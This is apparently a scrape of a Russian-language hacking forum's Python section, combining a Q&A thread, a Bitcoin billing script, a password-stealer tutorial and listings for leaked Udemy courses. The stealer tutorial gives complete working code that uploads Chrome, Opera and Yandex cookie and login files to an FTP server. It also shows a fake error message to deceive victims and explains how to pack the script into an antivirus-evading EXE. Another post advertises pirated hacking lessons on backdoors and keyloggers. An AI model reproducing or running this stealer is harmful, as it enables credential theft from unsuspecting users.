Python - задай вопрос получи ответ
Author: weaver • 2019-05-18T22:21:56+0000 • Replies: 521 • Views: 205K
В этой теме можно задать вопрос касательно языка программирования Python.
**Python — это высокоуровневый язык программирования общего назначения.**
Spoiler: Мем Лурк
Завтра ищешь в интернете книжку Dive into python. Похуй если ничего не
поймешь. Затем идешь на python.org и изучаешь стандартную библиотеку от корки
до корки. Потом зубришь, именно, сука, вызубриваешь конвенцию по написанию
питоньего кода - PEP8, чтобы от зубов отскакивало. Когда напишешь свою первую
имиджборду, по пути изучив верстку на html+css, скачиваешь и изучаешь любой
питоний асинхронный вебсервер, рекомендую Tornado или Gevent. Как переделаешь
имиджборду, чтобы выдавала по крайней мере 5 тысяч запросов в секунду, можешь
идти дальше - тебя ждет увлекательный мир хайлоада. Apache Hadoop,
сверхбыстрые асинхронные key-value хранилища, MapReduce. Отсос хиккующих
выблядков / просто неудачников типа рейфага или сисярп/джава-хуесосов, которые
сосут х#й по жизни не заставит себя ждать и уже через пол года ты будешь
получать такие суммы, что любая баба будет течь при одном упоминании твоей
зарплаты.
**Питон живет по адресу**

### [ Welcome to Python.org ](https://www.python.org/)
The official home of the Python Programming Language

www.python.org
Python это язык прежде всего прикладного уровня.
Документация на ветку **2.х Python**
### [ Python 2.7.18 documentation ](http://docs.python.org/2/)

docs.python.org
Документация на ветку **3.x Python**
### [ 3.10.5 Documentation ](http://docs.python.org/3/)

docs.python.org
Основное отличие ветки 2.х от ветки 3.х, что в ветке 2.х строки могут иметь
тип как юникоде, так и просто иметь тип стринг. В том время как ветке 3.х все
строки идут как юникоде.
Спрашиваем, помогаем друг другу.
Биллинг Bitcoin + python
Author: Ar3s • 2014-10-09T13:12:07+0000 • Replies: 27 • Views: 28K
В данном топике хочу рассказать о своих потугах написать на питоне биллинг для
практически любого проекта на основе bitcoin.
Материал сырой, кодер я не супер, поэтому критика принимается.
Поехали...
Первое что нам понадобится - сервер. Я использовал debian linux (свой любимый)
64 bit.
Нам для старта понадобится скачать оффициальный клиент bitcoin. [Download
page](https://bitcoin.org/ru/download)
Скачиваем клиент, распаковываем в произвольную папку пользователя.
В моем случае используется /home/usr/bitcoind
Переходим в папку bin/64/
Запускаем ./bitcoind
Все что необходимо он уже создал. Далее нам предстоит настроить данный софт.
Пишем в консоль killall bitcoind
Идем по адресу /home/usr/.bitcoin
И создаем тут файл конфигурации. mcedit bitcoin.conf
Я использовал следующие настройки:
Code:Copy to clipboard
daemon=1
gen=0
#proxy=127.0.0.1:9050
dns=1
upnp=1
noirc=1
server=1
rpcuser=usr
rpcpassword=fake_passwords
rpcport=8455
rpctimeout=30
paytxfee=0.0002
addnode=69.207.126.238:8333
addnode=73.189.41.65:8333
addnode=69.65.67.66:8333
connect=69.207.126.238:8333
connect=73.189.41.65:8333
connect=69.65.67.66:8333
Возвращаемся в папку /home/usr/bitcoind/bin/64
Стартуем демон снова ./bitcoind
Все. Наш клиент стал демоном и начал синхронизировать блоки.
Для любопытных - вторая строка - это настройка работы биткоин через сеть тор.
У меня на сервере он установлен, но для ускорения синхронизации не
используется.
Далее примем за аксиому тот момент, что я сам пишу софт и отталкиваюсь от того
что мне в голову стукнет. А мои клиенты все определяются по jabber аккаунту.
Я создаю следующие папки:
/home/usr/bitcoind/src/
/home/usr/bitcoind/src/db/
Выставляю права 777 на папку db. Это важно.
И создаем следующие файлы:
cat>btc.log
chmod 777 btc.log
mcedit btc.py
Code:Copy to clipboard
#!/usr/bin/env python
#-*- coding: utf-8 -*-
# ----------------------------------------------------------
# coded by ar3s
# How to use: python btc-e.py
# Profit!
# ----------------------------------------------------------
import os
import sys
import time
import json
import base64
import hashlib
import urllib2
import datetime
import socket
import sqlite3
import subprocess
from Crypto.Cipher import AES # encryption library
#system
os.system('clear')
#sqlite
conn = sqlite3.connect('db/base.db')
conn.isolation_level = None
conn.text_factory = str
#crypt
BLOCK_SIZE = 32
PADDING = '{'
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
cipher = AES.new('Jns70wJnc92LmaTw')
def log(log):
if (len(log) != 0):
now = datetime.datetime.now()
f = open('btc.log', 'a')
f.write(str(now.day)+"."+str(now.month)+"."+str(now.year)+" "+str(now.hour)+":"+str(now.minute)+":"+str(now.second)+" - "+log+"\n")
f.close()
else:
print "enter a log data"
def rate():
response = urllib2.urlopen(urllib2.Request(url='https://btc-e.com/api/2/btc_usd/ticker'))
objFromJSON = json.loads(response.read())
ticker = objFromJSON['ticker']
return format(ticker['last'])
def bitcoin(cmd, jid):
if (cmd == "bal"):
try:
cmd = './bitcoind getbalance'
PIPE = subprocess.PIPE
p = subprocess.Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=subprocess.STDOUT, close_fds=True, cwd='/home/usr/bitcoind/bin/64/')
bal = p.stdout.read()
bal = float(bal.replace('\n',''))
return bal
except:
print "bitcoind not respond a ballance"
if (cmd == "add"):
try:
cmd = './bitcoind getnewaddress '+jid
PIPE = subprocess.PIPE
p = subprocess.Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=subprocess.STDOUT, close_fds=True, cwd='/home/usr/bitcoind/bin/64/')
btc = p.stdout.read()
btc = btc.replace('\n','')
except:
print "bitcoind not respond a BTC address"
return btc
if (cmd == "pars"):
ball = 0.0
account = ""
try:
cmd = './bitcoind listaccounts'
PIPE = subprocess.PIPE
p = subprocess.Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=subprocess.STDOUT, close_fds=True, cwd='/home/usr/bitcoind/bin/64/')
btc = p.stdout.read()
# сделать парсинг не нулевых баллансов и возврат имени и суммы в запрос
except:
log("bitcoind send not finished")
return account, ball
def sql(query):
#--------------------------
# Коннектимся к Базе данных
#--------------------------
connection = 0
try:
#conn = sqlite3.connect(":memory:")
cur = conn.cursor()
connection = 1
except sqlite3.Error:
connection = 0
log("Соединение с БД НЕ установлено!!!")
if ((query=='def') and (connection == 1)):
#print "Исполняем def запрос"
try:
cur.execute("Select * from user")
conn.commit()
#print "DEF запрос прошел успешно"
except:
print 'db not issue. Creating.'
cur.execute('''CREATE TABLE [user] ([id] INTEGER NOT NULL ON CONFLICT ABORT PRIMARY KEY ON CONFLICT ABORT AUTOINCREMENT, [jid] CHAR NOT NULL ON CONFLICT ABORT, [btc] CHAR NOT NULL ON CONFLICT ABORT, [ballance] FLOAT NOT NULL ON CONFLICT ABORT DEFAULT 0)''')
cur.execute("insert into user values (null,'ar3s@dlab.im','FakeAddress','0')")
conn.commit()
if ((query != 'def') and (connection == 1)):
#print "Исполняем запрос на пользователя"
# Тут проверяем имеется ли такой пользователь
btc = ""
jid = query
#print "Проверка по БД"
try:
cur.execute("select btc from user where jid=?",(jid,))
conn.commit()
except:
print "BAD sql query in section select BTC from DB"
#print "Парсим результат"
data = cur.fetchall()
if (len(data) != 0):
#print "Вошли в проверку"
adr = str(data[0])
adr = adr.split("'")
btc = adr[1]
#print btc
#print "Распарсили"
else:
# если ответ нулевой - то создаем пользователя
btc = bitcoin("add", jid)
print "Добавляем пользователя "+jid+":"+btc+"\n"
try:
cur.execute("insert into user values (null,?,?,'0')",(jid,btc,))
conn.commit()
except:
print "Error in sql query for add user in DB"
return btc
def crypt(msg):
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
encoded = EncodeAES(cipher, msg)
return encoded
def decrypt(msg):
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
decoded = DecodeAES(cipher, msg)
return decoded
def main():
#-------------------------------
# Тест записи в лог
log("start")
#-------------------------------
# Читаем курс
kurs = rate()
print "Текущий курс BTC=>USD:"+kurs
log("Текущий курс BTC=>USD:"+kurs)
#-------------------------------
# читаем наш балланс из демона
bal = bitcoin("bal", "")
print "Текущий балланс кошельков:"+str(bal)
log("Текущий балланс кошельков:"+str(bal))
if (bal > 0):
account, ball = bitcoint("pars", "")
# тут сделать зачисление на балланс и отправку мне на кош
#-------------------------------
# Инициализируем БД
sql("def")
log("Инициализируем БД")
#-------------------------------
# инициализируем чтение сокета
try:
sock = socket.socket()
sock.bind(('', 4563))
sock.listen(1)
except Exception as e:
log("Не могу открыть сокет: %s" % e)
sys.exit()
while True:
srv, addr = sock.accept()
log("Socket opened: %s" % str(addr))
data = srv.recv(1024)
data = decrypt(data)
if data == 'PPDvtmw1POWFSkwmNH61WF0Vlhvhq5Gc':
log("Проверка ключа прошла успешно")
srv.send(crypt('true'))
data = '' # обнуляем данные от прошлого запроса
while 1: # ждем запрос от клиента
data = srv.recv(1024)
if data:
break
jid = decrypt(data)
if jid:
print jid
btc = sql(jid)
print "user "+jid+" : "+ btc
srv.send(crypt(btc))
log("Answer sendet")
else:
srv.send("error!")
log("!!! Проверка ключа НЕ прошла")
srv.close()
# start main function
if __name__ == '__main__':
main()
#--------------------------------------------------------------------------------------------------------------
# Happy end!
#--------------------------------------------------------------------------------------------------------------
Протокол запросов идет у нас шифрованным. Ключ один, но можно использовать
два. Один от клиента второй от сервера.
Принцип работы прост. Есть демон и есть бд. Что бы не дергать демон каждый раз
я записываю данные в БД. Сделал специально на sqlite для большей
портабельности.
Код клиента:
Code:Copy to clipboard
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#http://stackoverflow.com/questions/2490334/simple-way-to-encode-a-string-according-to-a-password
import socket
import base64
import hashlib
from Crypto.Cipher import AES # encryption library
BLOCK_SIZE = 32
PADDING = '{'
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
cipher = AES.new('Jns70wJnc92LmaTw')
def crypt(msg):
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
encoded = EncodeAES(cipher, msg)
return encoded
def decrypt(msg):
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
decoded = DecodeAES(cipher, msg)
return decoded
sock = socket.socket()
sock.connect(('127.0.0.1', 4563))
sock.send(crypt('PPDvtmw1POWFSkwmNH61WF0Vlhvhq5Gc'))
data = sock.recv(1024)
data = decrypt(data)
print data
if (data == 'true'):
sock.send(crypt('new_user@server.im'))
data = sock.recv(1024)
data = decrypt(data)
print data
sock.close()
Клиент первым делом шифрует ключевую фразу и шлет серверу. Если все ок -
сервер отвечает шифрованным true. Ну и дальше идет запрос на клиента
(отправляем жабу или мыло), ответ BTC адрес.
В данный момент чего не доделал:
1\. определение у кого какой балланс
2\. отправку комманды на пополнение балланса в панель клиента
3\. перекидывание денег с сервака биллинга мне на кош.
Написано данное чудо просто от балды. От большого нехер делать и может быть
кому-то полезно. Жду реакции и критики кода. А так же желающих доработать
данное творчество.
Пишем стиллер паролей на Python
Author: tabac • 2019-04-15T13:05:26+0000 • Replies: 32 • Views: 21K
Всем привет, это моя первая статья, сразу хочу сказать)
Напишем сегодня стиллер на пайтоне, и запакуем его в exe, чтоб он не палился
антивирусами, по моим данным ( 1/67 )
Начнем с самого простого, это подключение библиотек
Python:Copy to clipboard
import os.path
import getpass
from ftplib import FTP
import random
con = FTP("хост","логин","пароль")
* первая библиотека ( os.path ) - используется для проверки директории на валидность, точнее на то существует ли она в природе
* вторая библиотека ( getpass ) - используется для получения юзернейма пользователя под которым запущен процесс, это нужно для доступа к папке AppData
* третья библиотека ( ftplib ) - тут самое интересное, она нам поможет отправлять пароли по FTP на наш сервер
* четвертая библиотека( random ) - ну тут все просто, мы рандомизируем названия файла который отправляем на сервер
И напоследок мы подключаемся по ftp по логину паролю и хосту.
Теперь перейдем к более интересным вещам, чем просто библиотеки, мы напишем
уже сами пути к директориям, где лежат наши пароли, а пароли мы будем
воровать(в учеб.целях) из браузеров - Opera, Yandex, Google Chrome
Итак, вот код, пишем его, далее будем его разбирать
Python:Copy to clipboard
UserName = '\\' + getpass.getuser()
dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"
dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
UserName - принимает значения имя текущего пользователя
dir_cookie_google, dir_pass_google, ...., ... - и т.д. Это все директории где
хранятся пароли, нам интерестны именно эти 3 браузера. Будем забирать пароли и
куки и перекидывать их себе на сервер по FTP. Потом открывать в sqlite
manager, но об этом позже....
У нас имеются директории, у нас есть библиотеки, для работы, что же дальше?
Думаю пора приступать к основном задаче, это написание непосредственно
стиллера.
Вот код, вы пока напишите его, а я вам потом расскажу о нем ))
Python:Copy to clipboard
dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"
def check():
if (os.path.exists(dir_google)) == True:
filename = "google"+str(random.randint(1, 10000))
filename2 = "google_pass" + str(random.randint(1, 10000))
with open(dir_cookie_google, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_google, "rb") as content:
con.storbinary("STOR %s" % filename2, content)
if (os.path.exists(dir_opera)) == True:
filename = "opera"+str(random.randint(1, 10000))
filename2 = "opera_pass" + str(random.randint(1, 10000))
with open(dir_cookie_opera, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_opera, "rb") as content:
con.storbinary("STOR %s" % filename2, content)
if (os.path.exists(dir_yandex)) == True:
filename = "yandex"+str(random.randint(1, 10000))
filename2 = "yandex_pass" + str(random.randint(1, 10000))
with open(dir_cookie_yandex, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_yandex, "rb") as content:
Код получился не маленький, что есть то есть. Рассмотрим первые строчки, в
начале до функции мы записываем в переменные адреса наших директорий, для
последующей проверки на валидность. Зачем это нужно? спросите вы меня, да
просто так проще! Зачем ставить try, except если можно проверить на валидность
с помощью os.path.exits.
Далее у нас идет функция, со множествами if , тут ничего ничего сложного нету,
все просто:
Python:Copy to clipboard
if (os.path.exists(dir_google)) == True:
filename = "google"+str(random.randint(1, 10000))
filename2 = "google_pass" + str(random.randint(1, 10000))
with open(dir_cookie_google, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_google, "rb") as content:
con.storbinary("STOR %s" % filename2, content)
Мы проверяем является ли директория валидной, а после уже открываем ее, и
отправляем файл на наш сервер FTP. Такс..., функцию написали, библиотеки
подключили, директории есть, что не хватает? Думаю не хватает задействовать
функцию и вывести на экран какую нибудь псевдо-ошибку, что мол библиотека не
подключена и все дела.. Будем действовать по такой схеме))
Вот код, объяснять тут думаю нечего:
Python:Copy to clipboard
check()
print("Error library import HOUII.dll")
print("Error RUN cheat")
input()
НО, я все же расскажу, первая строка - вызываем функцию, которая ворует
пароли.
Далее мы выводим сообщения об якобы ошибке которой на деле и нет, что бы
пользователь думал что это у него проблемы какие то. И что программа не
зловредная, а наоборот, пыталась помочь. но как оказалось библиотеки видите ли
у него нет))
Вот и весь код, ниже он целиком:
Python:Copy to clipboard
import os.path
import getpass
from ftplib import FTP
import random
con = FTP("хост","логин","пароль")
"""
Hack to directory
"""
UserName = '\\' + getpass.getuser()
dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"
dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"
def check():
if (os.path.exists(dir_google)) == True:
filename = "google"+str(random.randint(1, 10000))
filename2 = "google_pass" + str(random.randint(1, 10000))
with open(dir_cookie_google, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_google, "rb") as content:
con.storbinary("STOR %s" % filename2, content)
if (os.path.exists(dir_opera)) == True:
filename = "opera"+str(random.randint(1, 10000))
filename2 = "opera_pass" + str(random.randint(1, 10000))
with open(dir_cookie_opera, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_opera, "rb") as content:
con.storbinary("STOR %s" % filename2, content)
if (os.path.exists(dir_yandex)) == True:
filename = "yandex"+str(random.randint(1, 10000))
filename2 = "yandex_pass" + str(random.randint(1, 10000))
with open(dir_cookie_yandex, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_yandex, "rb") as content:
con.storbinary("STOR %s" % filename2, content)
check()
print("Error library import HOUII.dll")
print("Error RUN cheat")
input()
У нас есть код, но он на пайтоне, как же его эксплуатировать на чужом ПК?
Думаю ответ очевиден - pyinstaller
Давайте скачаем его:
Bash:Copy to clipboard
pip install pyinstaller
Далее скомпилируем его в EXE'шник, дабы было все проще у нас ))
Bash:Copy to clipboard
pyinstaller -F <my_script>.py
Вот и все, по сути у нас есть EXE файл, который не палится антивирусами, ну
разве что windows защитник может его заподозрить, все же мы ходим по
директориям. Кроме того еще и отправляем файлы на какой то не понятный
сервер.... НО на практике kaspersky, dr.web, и др популярные антивирусы не
определяют его как вредоносное программное обеспечения, даже если ему тыкнуть
носом, вот мол, смотри, давай его просканируем, может там вирусы трояны
бэкдоры! он говорит - нет, там нету ничего....
Вот так вот все, всем спасибо! рад был поделится с вами своим скриптом
Автор: NNullday
Слив курса. [Udemy] Изучаем Python и взлом систем с нуля.
Author: Inbox • 2019-09-04T20:43:51+0000 • Replies: 55 • Views: 16K
**Автор:** Udemy
**Название:** Изучаем Python и взлом систем с нуля (Полный курс) (2019)
Spoiler: Описание:
Добро пожаловать в отличный курс, в котором вы одновременно научитесь и
программировать на Python’e и взламывать системы. Курс разработан таким
образом, что **не требуются никакие предварительные знания**. После
прохождения курса ваш уровень владения темой будет выше среднего, и вы сможете
использовать оба полученных навыка. Вы научитесь писать свои собственные
программы для взлома компьютеров на Python’e, мы напишем программы, которые
реальные хакеры используют для взлома систем, но это еще не все. Вы так же
сможете использовать полученные навыки программирования на Python’e для
**написания любых программ** , даже тех, которые никак не связаны со взломом
систем.
В этом курсе огромный акцент идет на **практику,** однако мы не жертвуем
теорией. Мы начнем с рассмотрения базовых концептов, познакомимся с тем, что
такое этичных взлом и что из себя представляет язык программирования Python,
установим необходимые программы и сразу после этого мы приступим к
программированию. С этого момента вы начнете **учиться непосредственно на
примерах** , мы будем писать хакерские программы, все наши программы будут
довольно интересными, мы не будем тратить время на скучные типовые задания,
которых довольно много в различных учебных пособиях.
Курс разделен по целям на несколько разделов. Обычно цель – взломать
определенную систему. Мы начнем с изучения того, как работает система, ее
слабостей. Мы будем изучать программирование на Python’e во время практики, по
одной теме за раз, таким образом к концу курса в вашем «портфеле» будет
довольно много самостоятельно написанных хакерских программ. **Это** **будут
бэкдоры, килоггеры, программы для угона учетных данных, инструменты для взлома
сетей, инструменты для взлома веб-сайтов и многое другое.** Помимо всего этого
у вас будет глубокое понимание того, как работают компьютерные системы, как
моделировать проблемы, как подходить к разработке алгоритма для решения
проблем и как реализовать задуманное с помощью Python’a.
Как я говорил ранее, в этом курсе вы научитесь писать программы на Python’e и
изучите, что такое этичный взлом и как тестировать системы на проникновение.
**Далее идет краткий список тем, о которых пойдет речь в этом курсе:**
Spoiler: Темы, посвященные программированию:
* Пишем программы на Python 2 и Python 3
* Используем модули и библиотеки
* Переменные, типы и т.д.
* Обработка данных введенных пользователем
* Чтение и запись файлов
* Функции
* Циклы
* Структуры данных
* Регулярные выражения
* Рекурсия
* Обработка потоков
* Объектно-ориентированное программирование
* Работа с пакетами средствами scapy
* Netfilterqueue
* Программирование сокетов
* Работа со строками
* Исключения
* Сериализация
* Компилирование программ в бинарные файлы
* Отправка и получение HTTP запросов
* Парсинг HTML
* \+ многое другое!
Spoiler: Темы, посвященные взлому:
* Основы взлома сетей / тестирование их на проникновение
* Смена МАС-Адреса и обход фильтрации
* Маппинг сети
* ARP-Spoofing – Перенаправление потока пакетов в сети
* DNS-Spoofing – Перенаправление запросов идущих к одному веб-сайту на другой.
* Слежка за любым пользователем в сети – узнаем логины, пароли, посещенные сайты и тд.
* Инъекция кода в страницы, которые посещают другие пользователи, подключенные к той же самой сети
* Подмена файлов на лету во время их загрузки пользователями, подключенными к той же самой сети
* Определение атак ARP-Spoofing
* Обход HTTPS
* Создание вредоносных файлов для Windows, OS X и Linux
* Создание троянов для Windows, OS X и Linux
* Взлом Windows, OS X и Linux с помощью кастомного бэкдора
* Обход антивирусных программ
* Угоняем учетные данные с помощью фейкового запроса учетных данных
* Показываем фейковые обновления
* Шпионим за тем, что печатают пользователи Windows или OS X с помощью самописного килоггера
* Изучаем основы взлома веб-сайтов / тестирование их на проникновение
* Ищем поддомены
* Ищем скрытые файлы и директории веб-сайта
* Запускаем атаку по словарю, стараемся подобрать пароль
* Ищем и используем XSS-уязвимости
* Ищем слабые места сайтов с помощью нашего самописного сканера уязвимостей
Spoiler: Программы, которые вы напишите в этом курсе:
* mac_changer — замена MAC-адреса
* network_scanner – Сканирование сети и поиск всех IP и MAC-адресов подключенных к сети
* arp_spoofer – запуск атаки ARP-spoofing, с помощью которой производится перенаправление потока пакетов благодаря чему мы можем перехватывать данные
* packet_sniffer – фильтрация перехваченных данных, поиск логинов, паролей, адресов посещенных страниц и т.д.
* dns_spoofer — перенаправление DNS-запросов
* file_interceptor – подмена перехваченных файлов на любые другие
* code_injector – инъекция кода в перехваченные HTML-страницы
* arpspoof_detector – обнаружение атак ARP-spoofing
* execute_command payload – запуск системных команд на компьютере, на котором было запущено это приложение
* execute_and_report payload – запуск системных команд и отправка отчетов об этом на электронную почту.
* download_and_execute payload – загружает файл и запускает его на целевой системе.
* download_execute_and_report payload – загружает файл, запускает его и отправляет отчет о результате на электронную почту.
* reverse_backdoor – предоставляет удаленный контроль над системой, на которой он был запущен. Позволяет получить доступ к файловой системе, выполнять системные команды, скачивать и загружать файлы.
* keylogger – записывает нажатия клавиш и отправляет их на электронную почту.
* crawler – ищет скрытые древа каталогов(папки) целевого веб-сайта.
* discover_subdomains – ищет поддомены целевого сайта.
* spider – полноценное исследование целевого веб сайта. Поиск всех файлов, папок и ссылок.
* guess_login – атакует по словарю, старается подобрать логин и пароль
* vulnerability_scanner – сканирует целевой сайт на наличие уязвимостей и выдает отчет обо всем, что нашел
Spoiler: Во время написания приложений, вы изучите следующие темы:
* Как настроить окружение для безопасного тестирования на проникновение
* Как установить Kali Linux и Window в качестве виртуальных машин внутри ЛЮБОЙ системы
* Основы Linux
* Основы работы с Linux-терминалом
* Как работают сети
* Как клиенты общаются друг с другом посредством сети
* Address Resolution Protocol (ARP) — протокол определения адреса
* Сетевые слои
* Domain Name System (DNS) — система доменных имён
* Hypertext Transfer Protocol (HTTP) — протокол транспортирования гипертекста
* HTTPS
* Как работают антивирусные программы
* Сокеты
* Подключение устройств через TCP
* Передача данных через TCP
* Как работают веб-сайты
* GET и POST-запросы
* И многое другое!
После прохождения этого курса вы будете обладать достаточными навыками в
программировании для того, чтобы писать любые программы, даже если они никак
не связаны с хакингом, но при всем этом мы будем учиться программировать
разрабатывая хакерские инструменты!
Spoiler: Целевая аудитория:
* Любой заинтересованный в изучении программирования на Python’e.
* Любой заинтересованный в изучении этичного взлома / тестирования на проникновение.
[CLIKE]

### [ Папка из Облака Mail.ru ](https://cloud.mail.ru/public/25VT/PEYkh8Bff/)
Облако Mail.ru - это ваше персональное надёжное хранилище в интернете.

cloud.mail.ru
[/CLIKE]
Полный Курс Python: С Нуля До Героя - Часть 1,2,3,4,5,6,7,8,9
Author: F0xman • 2019-03-31T13:03:19+0000 • Replies: 22 • Views: 13K
**[Udemy.com] Полный Курс Python: С Нуля До Героя - Часть 1,2,3,4,5,6,7,8,9**
Code:Copy to clipboard
Автор: Jose Portilla, Pierian Data International
Формат: Видео
Продолжительность: 12.5 Часов
Тип перевода: Русская озвучка
Описание Курса:
**Станьте программистом на Python и изучите один из самых востребованных
навыков!**
Это **наиболее полный курс по языку программирования Ptyhon на Udemy!** Если
ранее вы никогда не занимались программированием, знаете базовый синтаксис,
или хотите изучить продвинутые возможности Python, то этот курс для Вас! В
этом курсе **мы обучим Вас обеим версиям Python (2 и 3)** , чтобы вы легко
смогли адаптировать свои навыки к любой версии!
**С более чем десятью часами видео** , этот всеобъемлющий курс не оставит
камня на камне! Этот курс выключает в себя викторины, тесты и домашние
задания, а также 3 крупных проекта для создания своего портфолио!
Этот курс на практике обучит Вас программированию Python, с каждой лекцией
идет полный скринкаст и соответствующий код! Учитесь как Вам удобнее!
Мы начнем с того, что поможем Вам установить Python на Ваш компьютер,
независимо от вашей операционной системы, будь то Linux, MacOS или Windows.
**Так чего же ты ждешь? Изучи Python, чтобы продвинуть свою карьеру и
расширить свои знания, веселым и практичным способом!
Чему я научусь?**
* Научитесь профессионально использовать Python, изучив обе версии Python 2 и Python 3!
* Создавать игры вроде Крестики-Нолики и Блэкджек!
* Продвинутым функциям Python, таким как модуль collection и способам работы с timestamps!
* Научитесь использовать объектно-ориентированное программирование.
* Поймете сложные темы вроде декораторов.
* Научитесь использовать Jupiter Notebook и создавать .py файлы.
* Узнаете как создать графический интерфейс в системе Jupiter Notebook!
* Выстроите полное понимание Python с нуля!
**Целевая Аудитория?**
* Начинающие, ранее не занимавшиеся программированием.
* Программисты, решившие поменять язык на Python.
* Программисты среднего уровня, которые хотят повысить свой навык
**Требования?**
* Компьютер с интернет соединением
**Содержание 1 части:**
* Введение. Обзор курса.
* **Python 2 vs Python 3.**
* Как выжать из курса максимум.
* **Установка Python на Windows и Mac.**
* Немного об IDE (интегрированная среда разработки) и ее выборе.
* **Jupiter Notebook.**
* Дополнительные ресурсы, помощь и документация Python.
* Git и GitHub. Что это и как ими пользоваться.
* Числа в Python.
* Арифметические операции и присваивание.
**Содержание 2 части:**
* **Строки.**
* Создание, вывод, индексирование и срез, свойства, методы, различия в Python 2 и 3.
* **Форматирование вывода.**
* Строки, различные типы чисел, методы конветации, мульти форматирование, string.format().
* **Списки.**
* Создание, индексирование и срез, основные методы, вложенные списки, введение в генерацию списков.
* **Словари.**
* Создание, доступ к объектам, вложение, основные методы.
* **Кортежи.**
* Создание, основные методы, неизменность, варианты использования.
* **Взаимодействие с файлами на компьютере.**
* Как открыть файл, чтение файла, методы.
**Содержание 3 части:**
* Множества.
* Создание, добавление элементов. Преобразование других типов данных во множество.
* Boolean. Что это, немного об операторах сравнения и None.
* Тест на знание темы.
* Ответы на тест.
* Операторы сравнения. (тождественное равенство, больше, меньше и тд.).
* Цепочки сравнения (a<b<c, a<d>c и тд.).
* Введение в операторы. Что это такое, примеры.
* Операторы If, elif, else.
* Цикл for.
* Цикл While.
* Функция range или диапазоны.
* Немного о генераторах объектов.
**Содержание 4 части:**
* Генератор списков. Один из самых полезных инструментов в пайтон.
* Что это и как создается. Вложенный генератор списков.
* Тест на знание пройденного материала.
* Решения к тесту.
* Введение в методы.
* Что такое функции.
* Как создать свою фукнцию.
* Лямбда выражения.
* Вложенные операторы и область видимости.
* Тест по теме.
* Решения к тесту.
* Первый проект. Игра крестики нолики.
**Содержание**5 части** :**
* Разбираем создание игры.
* Прописываем необхдимые функции.
* Проверка поля на заполненность.
* Проверка на победу.
* Проверка ввода
* и тд.
* Продвинутое решение проекта.
* Объектно ориентированное программирование (ООП)
* Объекты.
* Создаем собственные объекты.
* Классы.
* Что такое атрибуты объектов класса.
**Содержание 6 части:**
* Методы. Создание и что это такое.
* Наследование классов.
* Специальные методы.
* Домашняя работа.
* Решение домашки.
* Еще парочка упражнений на тему объектно-ориентированного программирования.
* Решение упражнений.
* Ошибки и исключения.
* Обработка исключений.
* Блоки try, except, finally.
* Домашнее задание и его решение.
**Содержание**7 части:****
* Установка внешних модулей и пакетов.
* Pip install, PyPi.
* Написание своих собственных модулей и пакетов. Их импорт.
* **name** и **main** что это и для чего используется.
* Тестирование и оценка кода с помощью Pylint.
* Тестирование unittest.
* Второй проект. Игра Блэк Джек.
* Описание задания.
* Решение. Классы карт и колоды.
* Классы руки и фишек.
**Содержание**8 части:****
* Необходимые функции для игры.
* Завершаем игру, описывая остальной код.
* Декораторы.
* Домашняя работа по декораторам.
* Генераторы.
* Домашняя работа по генераторам.
* Решение.
* Финальный проект.
* Коллекции.
* Counter.
* defaultdict.
* ordereddict.
**Содержание**9 части:****
* namedtuple
* datetime
* debugger
* time it
* Регулярные выражения
* stringIO
* Продвинутые числа
* Продвинутые строки
* Продвинутые множества
* Продвинутые словари
* Продвинутые списки
* Тест по продвинутым объектам
* Решение теста
* Интерактивный функционал
